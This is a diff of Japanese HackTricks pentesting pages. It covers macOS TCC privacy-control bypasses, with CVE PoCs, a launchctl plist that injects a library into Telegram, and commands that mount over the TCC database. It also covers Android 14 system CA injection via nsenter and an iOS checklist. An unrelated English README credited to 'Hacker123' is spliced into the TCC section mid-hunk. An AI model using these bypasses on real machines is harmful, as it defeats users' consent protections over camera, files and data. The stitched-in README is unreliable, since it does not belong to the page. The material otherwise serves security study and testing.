詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。
|
||||
|
||||
|
@ -281,14 +279,14 @@ Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用し
|
|||
|
||||
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、**`kTCCServiceSystemPolicySysAdminFiles`**権限を持ち、**`.daplug`**拡張子のプラグインを読み込み、**ハード化されていなかった**ランタイムを持っていました。
|
||||
|
||||
このCVEを兵器化するために、**`NFSHomeDirectory`**が変更され(前述の権限を悪用)、TCCをバイパスするためにユーザーのTCCデータベースを**乗っ取る**ことができるようになりました。
|
||||
このCVEを武装化するために、**`NFSHomeDirectory`**が変更され(前述の権限を悪用)、TCCをバイパスするためにユーザーのTCCデータベースを**乗っ取る**ことができるようになりました。
|
||||
|
||||
詳細については、[**元のレポート**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を確認してください。
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
バイナリ **`/usr/sbin/coreaudiod`** には、`com.apple.security.cs.disable-library-validation` と `com.apple.private.tcc.manager` の権限がありました。最初の権限は **コードインジェクションを許可** し、2番目の権限は **TCCの管理権限を与えました**。
|
||||
バイナリ **`/usr/sbin/coreaudiod`** には、`com.apple.security.cs.disable-library-validation` と `com.apple.private.tcc.manager` の権限がありました。最初の権限は **コードインジェクションを許可** し、2番目の権限は **TCCを管理するアクセスを与えました**。
|
||||
|
||||
このバイナリは、`/Library/Audio/Plug-Ins/HAL` フォルダから **サードパーティプラグインを読み込むことを許可**していました。したがって、この PoC を使用して **プラグインを読み込み、TCC権限を悪用** することが可能でした:
|
||||
このバイナリは、`/Library/Audio/Plug-Ins/HAL` フォルダから **サードパーティのプラグインを読み込むことを許可**していました。そのため、この PoC を使用して **プラグインを読み込み、TCC権限を悪用** することが可能でした:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -355,13 +353,13 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
```
|
||||
### CVE-2020-10006
|
||||
|
||||
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、これによりプロセス内にコードを注入して TCC 権限を使用することができました。
|
||||
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、これによりプロセス内にコードをインジェクトして TCC 権限を使用することができました。
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram には、**`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限があり、これを悪用してカメラでの録画など、**その権限にアクセス**することが可能でした。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
Telegram には、**`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限があり、これによりカメラでの録画などの権限にアクセスすることが可能でした。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
|
||||
環境変数を使用してライブラリをロードする方法に注目し、**カスタム plist** を作成してこのライブラリを注入し、**`launchctl`** を使用して起動する方法について説明します。
|
||||
環境変数を使用してライブラリをロードする方法に注目し、**カスタム plist** を作成してこのライブラリをインジェクトし、**`launchctl`** を使用して起動する方法について説明します。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -393,13 +391,13 @@ launchctl load com.telegram.launcher.plist
|
|||
```
|
||||
## オープン呼び出しによるバイパス
|
||||
|
||||
サンドボックス化された状態でも**`open`**を呼び出すことが可能です
|
||||
**`open`** を使用している間でもサンドボックス化されている可能性があります
|
||||
|
||||
### ターミナルスクリプト
|
||||
|
||||
技術者が使用するコンピュータでは、ターミナルに**フルディスクアクセス(FDA)**を与えることが一般的です。そして、それを使用して**`.terminal`**スクリプトを呼び出すことが可能です。
|
||||
|
||||
**`.terminal`**スクリプトは、**`CommandString`**キーで実行するコマンドが指定されたこのようなplistファイルです。
|
||||
**`.terminal`**スクリプトは、**`CommandString`**キーで実行するコマンドが記述されたこのようなplistファイルです。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -417,7 +415,7 @@ launchctl load com.telegram.launcher.plist
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
アプリケーションは、/tmpなどの場所にターミナルスクリプトを書き込み、次のようにコマンドを使用して起動する可能性があります:
|
||||
アプリケーションは、/tmpなどの場所にターミナルスクリプトを書き込んで、次のようにコマンドを使って起動する可能性があります:
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
|
@ -432,8 +430,8 @@ exploit_location]; task.standardOutput = pipe;
|
|||
|
||||
### CVE-2020-9771 - mount\_apfs TCC バイパスと権限昇格
|
||||
|
||||
**どんなユーザー**(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショット内の**すべてのファイルにアクセス**できます。\
|
||||
**必要な特権**は、使用されるアプリケーション(例:`Terminal`)が**Full Disk Access**(FDA)アクセス(`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、これは管理者によって許可される必要があります。
|
||||
**どんなユーザー**(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
|
||||
**唯一必要な特権**は、使用されるアプリケーション(例:`Terminal`)が**Full Disk Access**(FDA)アクセス(`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、これは管理者によって許可される必要があります。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -471,7 +469,29 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
|
|||
## Mount over ~/Library
|
||||
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
||||
```
|
||||
{% endcode %}
|
||||
## macOS TCC Bypasses
|
||||
|
||||
### Introduction
|
||||
|
||||
This repository contains various techniques to bypass macOS Transparency, Consent, and Control (TCC) framework protections.
|
||||
|
||||
### Contents
|
||||
|
||||
- **[tcc_db_bypass](tcc_db_bypass/)**: Code demonstrating how to bypass TCC protections by modifying the TCC.db database.
|
||||
- **[tcc_prompt_bypass](tcc_prompt_bypass/)**: Code showing how to bypass TCC prompts by exploiting the `TCC.framework` library.
|
||||
|
||||
### Disclaimer
|
||||
|
||||
These techniques are for educational purposes only. Misuse of this information could violate laws and regulations. Use at your own risk.
|
||||
|
||||
### Credits
|
||||
|
||||
- **Author**: Hacker123
|
||||
- **Twitter**: [@hacker123](https://twitter.com/hacker123)
|
||||
|
||||
### License
|
||||
|
||||
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
||||
```python
|
||||
# This was the python function to create the dmg
|
||||
def create_dmg():
|
||||
|
@ -499,7 +519,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
## grepによる
|
||||
|
||||
いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が非保護の場所に保存されることがあります(これはAppleの脆弱性としてカウントされます)。
|
||||
いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が非保護の場所に保存されています(これはAppleの脆弱性としてカウントされます)。
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -507,11 +527,11 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
これはもはや機能しませんが、[**過去には機能しました**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**CoreGraphics イベント**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)を使用した別の方法:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 参考
|
||||
|
||||
|
|
|
@ -8,13 +8,13 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
|
||||
|
||||
</details>
|
||||
|
||||
## 仮想マシン上で
|
||||
## 仮想マシン上
|
||||
|
||||
まず、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行うことができます。
|
||||
|
||||
|
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
次に、**Burpの証明書を設定するには**:
|
||||
次に、**Burpの証明書を設定する**には、次の手順を実行します:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -52,31 +52,31 @@ Magiscでデバイスをroot化した場合(おそらくエミュレータ)
|
|||
|
||||
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次の手順を実行する必要があります:
|
||||
|
||||
1. **CA証明書をインストール**:DER Burp証明書を`.crt`に変更してモバイルにドラッグ&ドロップし、ダウンロードフォルダに保存し、`証明書のインストール` -> `CA証明書`に移動します
|
||||
1. **CA証明書をインストール**:DER Burp証明書を`.crt`に変更してモバイルにドラッグ&ドロップし、ダウンロードフォルダに保存し、「証明書のインストール」->「CA証明書」に移動します
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* `Trusted credentials` -> `USER`に移動して、証明書が正しく保存されていることを確認します
|
||||
* 証明書が正しく保存されたことを確認するには、「信頼された証明書」->「ユーザー」に移動します
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **システム信頼済みにする**:Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zipファイル)をダウンロードし、それを電話にドラッグ&ドロップし、電話のMagicsアプリに移動して、`Modules`セクションに移動し、`ストレージからインストール`をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します:
|
||||
2. **システムで信頼されるようにする**:Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zipファイル)をダウンロードし、それを電話にドラッグ&ドロップし、電話のMagicsアプリに移動して「モジュール」セクションに移動し、「ストレージからインストール」をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 再起動後、`Trusted credentials` -> `SYSTEM`に移動して、Postswigger証明書がそこにあることを確認します
|
||||
* 再起動後、「信頼された証明書」->「システム」に移動し、Postswigger証明書がそこにあるかどうかを確認します
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Android 14以降
|
||||
|
||||
最新のAndroid 14リリースでは、システム信頼済みの証明機関(CA)証明書の取り扱いに大きな変更が見られます。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納され、root権限を持つユーザーがアクセスして変更でき、システム全体に即座に適用できました。しかし、Android 14では、ストレージ場所が**`/apex/com.android.conscrypt/cacerts`**に移動されました。これは**`/apex`**パス内のディレクトリであり、その性質上変更できません。
|
||||
最新のAndroid 14リリースでは、システムで信頼される証明機関(CA)証明書の取り扱いに大きな変更が見られます。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納され、root権限を持つユーザーがアクセスして変更でき、システム全体に即座に適用できました。しかし、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動されました。これは**`/apex`**パス内のディレクトリであり、その性質上変更できません。
|
||||
|
||||
**APEX cacertsパス**を書き込み可能にリマウントしようとする試みは失敗します。システムはこのような操作を許可しません。**`/apex`**ディレクトリを一時ファイルシステム(tmpfs)でアンマウントしたりオーバーレイしたりしても、不変性を回避することはできません。ファイルシステムレベルでの変更に関わらず、アプリケーションは元の証明書データにアクセスし続けます。これは、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないようにしています。
|
||||
**APEX cacertsパス**を書き込み可能にリマウントしようとする試みは失敗します。システムはこのような操作を許可しません。**`/apex`**ディレクトリを一時的なファイルシステム(tmpfs)でアンマウントしたりオーバーレイしたりしても、不変性を回避することはできません。ファイルシステムレベルでの変更に関わらず、アプリケーションは元の証明書データにアクセスし続けます。これは、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないようにしています。
|
||||
|
||||
Androidの初期化には`init`プロセスが関与し、オペレーティングシステムの起動時にZygoteプロセスも開始されます。このプロセスは、新しいマウント名前空間を持つZygoteプロセスを起動し、このディレクトリの変更を他のプロセスから分離します。
|
||||
Androidの初期化には`init`プロセスが関与し、オペレーティングシステムの起動時にZygoteプロセスも開始されます。このプロセスは、新しいマウント名前空間を持つZygoteプロセスを起動し、このディレクトリへの変更を他のプロセスから分離します。
|
||||
|
||||
**`/apex`**ディレクトリ内のシステム信頼済みCA証明書を変更する必要がある場合には、回避策が存在します。これには、**`/apex`**を手動でリマウントしてPRIVATE伝播を削除し、書き込み可能にする必要があります。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`**ディレクトリをアンマウントして読み取り専用制約を解除し、その後、**`/apex`**内の元の場所に内容を復元する必要があります。このアプローチはシステムクラッシュを回避するために迅速な対応が必要です。これらの変更がシステム全体に適用されるようにするためには、`system_server`を再起動することをお勧めします。これにより、すべてのアプリケーションが再起動され、システムが一貫した状態になります。
|
||||
ただし、**`/apex`**ディレクトリ内のシステムで信頼されるCA証明書を変更する必要がある場合の回避策が存在します。これには、**`/apex`**を手動でリマウントしてPRIVATE伝播を削除し、書き込み可能にする必要があります。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`**ディレクトリをアンマウントして読み取り専用制約を解除し、その後、**`/apex`**内の元の場所に内容を復元する必要があります。このアプローチはシステムクラッシュを回避するために迅速な対応が必要です。これらの変更をシステム全体に適用するためには、`system_server`を再起動することをお勧めします。これにより、すべてのアプリケーションが再起動され、システムが一貫した状態になります。
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -136,7 +136,7 @@ echo "System certificate injected"
|
|||
```
|
||||
### NSEnterを介したバインドマウント
|
||||
|
||||
1. **書き込み可能ディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリに`tmpfs`をマウントして書き込み可能なディレクトリを確立します。次のコマンドを使用してこれを実現します:
|
||||
1. **書き込み可能ディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリに`tmpfs`をマウントして書き込み可能ディレクトリを確立します。次のコマンドを使用してこれを実現します:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
|
@ -145,13 +145,13 @@ mount -t tmpfs tmpfs /system/etc/security/cacerts
|
|||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
これにより、開始されるすべての新しいアプリが更新されたCA証明書のセットアップに従うようになります。
|
||||
これにより、新しいアプリが開始されるたびに、更新されたCA証明書の設定に従うようになります。
|
||||
|
||||
4. **実行中のアプリに変更を適用する**: 既に実行中のアプリに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを行います。必要なコマンドは次のとおりです:
|
||||
4. **実行中のアプリに変更を適用する**: 既に実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを行います。必要なコマンドは次のとおりです:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **代替手法 - ソフト再起動**: 代替手法は、`init` プロセス(PID 1)での bind マウントを実行し、`stop && start` コマンドでオペレーティングシステムをソフト再起動する方法です。この手法により、変更がすべてのネームスペースに伝播され、実行中の各アプリを個別に対処する必要がなくなります。ただし、再起動の手間がかかるため、一般的にこの方法は好まれません。
|
||||
5. **代替手法 - ソフト再起動**: 代替手法は、`init` プロセス(PID 1)での bind マウントを実行し、`stop && start` コマンドでオペレーティングシステムをソフト再起動する方法です。この手法により、変更がすべてのネームスペースに伝播し、実行中の各アプリを個別に対処する必要がなくなります。ただし、再起動の手間がかかるため、一般的にこの方法は好まれません。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -159,14 +159,14 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローしてください**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
* **HackTricks** および **HackTricks Cloud** の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# iOS Pentesting Checklist
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって**自動化されたワークフロー**を簡単に構築します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -15,16 +15,16 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを入手
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出**してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください**。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -38,39 +38,39 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### データストレージ
|
||||
|
||||
* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存することができます。
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存することができます。
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存することができます。
|
||||
* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存できます。
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存できます。
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存できます。
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。
|
||||
* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存することができます。
|
||||
* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存することができます。
|
||||
* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存することができます。
|
||||
* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存することができます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的な機密情報を保存することができます。
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain)は通常、再販時に残される可能性のある機密情報を保存するために使用されます。
|
||||
* [ ] 要するに、アプリケーションがファイルシステムに保存する機密情報を**チェック**するだけです。
|
||||
* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存できます。
|
||||
* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存できます。
|
||||
* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存できます。
|
||||
* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存できます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的な機密情報を保存できます。
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain)は通常、電話を再販する際に残される可能性のある機密情報を保存するために使用されます。
|
||||
* [ ] 要するに、アプリケーションがファイルシステムに保存した機密情報を**チェック**するだけです。
|
||||
|
||||
### キーボード
|
||||
|
||||
* [ ] アプリケーションが[**カスタムキーボードを使用できるように許可**](ios-pentesting/#custom-keyboards-keyboard-cache)していますか?
|
||||
* [ ] 機密情報が[**キーボードキャッシュファイルに保存されているか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認してください。
|
||||
* [ ] 機密情報が[**キーボードキャッシュファイルに保存されているかどうか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認してください。
|
||||
|
||||
### **ログ**
|
||||
|
||||
* [ ] [**機密情報が記録されているか**](ios-pentesting/#logs)を確認してください。
|
||||
* [ ] [**機密情報が記録されているかどうか**](ios-pentesting/#logs)を確認してください。
|
||||
|
||||
### バックアップ
|
||||
|
||||
* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの初期ポイントを確認してください)。
|
||||
* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの最初のポイントを確認してください)。
|
||||
* [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の構成を変更し、その後バックアップを電話に**復元**し、**変更された構成**が**ロード**されると、いくつかの(セキュリティ)**機能**が**バイパス**される可能性があります。
|
||||
|
||||
### **アプリケーションメモリ**
|
||||
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないかを確認してください。
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないか確認してください。
|
||||
|
||||
### **破られた暗号**
|
||||
|
||||
* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるかを確認してください。
|
||||
* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるかどうかを確認してください。
|
||||
* [ ] 送信/保存される機密データに[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないかを確認してください。
|
||||
* [ ] 暗号化関数を[**フックして監視**](ios-pentesting/#broken-cryptography)する。
|
||||
|
||||
|
@ -78,38 +78,38 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
